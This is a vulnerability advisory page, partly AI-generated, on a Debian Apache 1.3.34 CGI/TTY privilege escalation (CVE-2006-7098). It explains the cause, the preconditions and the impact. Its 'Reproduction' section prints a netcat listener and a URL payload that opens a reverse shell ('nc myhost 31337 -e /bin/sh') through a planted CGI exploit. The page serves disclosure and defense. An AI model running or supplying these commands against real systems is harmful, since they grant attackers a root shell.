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Unrated severityNVD Advisory· Published Mar 3, 2007· Updated Apr 23, 2026

CVE-2006-7098

CVE-2006-7098

Description

Local privilege escalation in Debian's Apache 1.3.34-4 allows attackers to execute arbitrary commands via a CGI program exploiting TTY control.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Local privilege escalation in Debian's Apache 1.3.34-4 allows attackers to execute arbitrary commands via a CGI program exploiting TTY control.

Vulnerability

The Debian GNU/Linux 033_-F_NO_SETSID patch for Apache HTTP Server 1.3.34-4 does not properly disassociate httpd from a controlling tty when started interactively. This allows local users to gain privileges to that tty via a CGI program that calls the TIOCSTI ioctl [1]. This affects Apache 1.3.33 and 1.3.34 on Debian and Ubuntu systems.

Exploitation

A local attacker must have CGI execution privileges and the Apache service must have been started manually by root via a shell. The attacker can then leverage a CGI program to call the TIOCSTI ioctl on the controlling tty, which is typically owned by root. This allows the attacker to inject commands into the tty, effectively gaining arbitrary command execution [1].

Impact

Successful exploitation allows a local attacker to gain arbitrary command execution with the privileges of the user who started the Apache process, typically root. This provides a full compromise of the system at the highest privilege level [1].

Mitigation

This vulnerability was addressed in later versions of Apache. Specific patch details or fixed version numbers are not readily available in the provided references. Users are advised to upgrade to a non-vulnerable version of Apache HTTP Server. No workarounds are described in the available references.

References
  1. Apache 1.3.34/1.3.33 (Ubuntu / Debian) - CGI TTY Privilege Escalation

AI Insight generated on Jun 1, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

3

Patches

0

No patches discovered yet.

Vulnerability mechanics

Root cause

"The Debian patch for Apache HTTP Server fails to properly disassociate httpd from a controlling terminal."

Attack vector

A local attacker can exploit this by executing a CGI program that utilizes the TIOCSTI ioctl. This ioctl allows the program to inject characters into the controlling terminal. If the httpd process was started interactively by a privileged user (e.g., root), the attacker can effectively gain control of that user's terminal session, leading to arbitrary command execution. The advisory notes that CGI execution privileges are required and the service must be started manually by root via a shell [ref_id=1].

Affected code

The vulnerability lies within the Debian GNU/Linux 033_-F_NO_SETSID patch applied to the Apache HTTP Server 1.3.34-4. Specifically, the issue occurs when httpd is started interactively and does not properly disassociate from its controlling tty. A CGI program can then leverage this by calling the TIOCSTI ioctl to inject commands into the tty [ref_id=1].

What the fix does

The advisory does not provide details on the specific patch or its implementation. However, the vulnerability is described as a failure to properly disassociate httpd from a controlling tty when started interactively. A correct fix would ensure that the httpd process properly detaches from its controlling terminal, preventing child processes like CGI programs from manipulating it via ioctls such as TIOCSTI.

Preconditions

  • authAttacker must have local access to the system.
  • configThe httpd service must have been started manually by root via a shell.
  • configThe attacker must have CGI execution privileges on the server.

Reproduction

```bash # Compile the exploit gcc -o /path/to/cgi-bin/cgipwn cgipwn.c

# Start a listener on your attacking machine nc -vvv -l -p 31337

# Trigger the exploit via a web request to the CGI script # Assuming the web server is accessible and the CGI script is placed correctly # The URL below is an example, the actual URL will depend on the web server configuration # http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d ``` [ref_id=1]

Generated on Jun 2, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

6

News mentions

0

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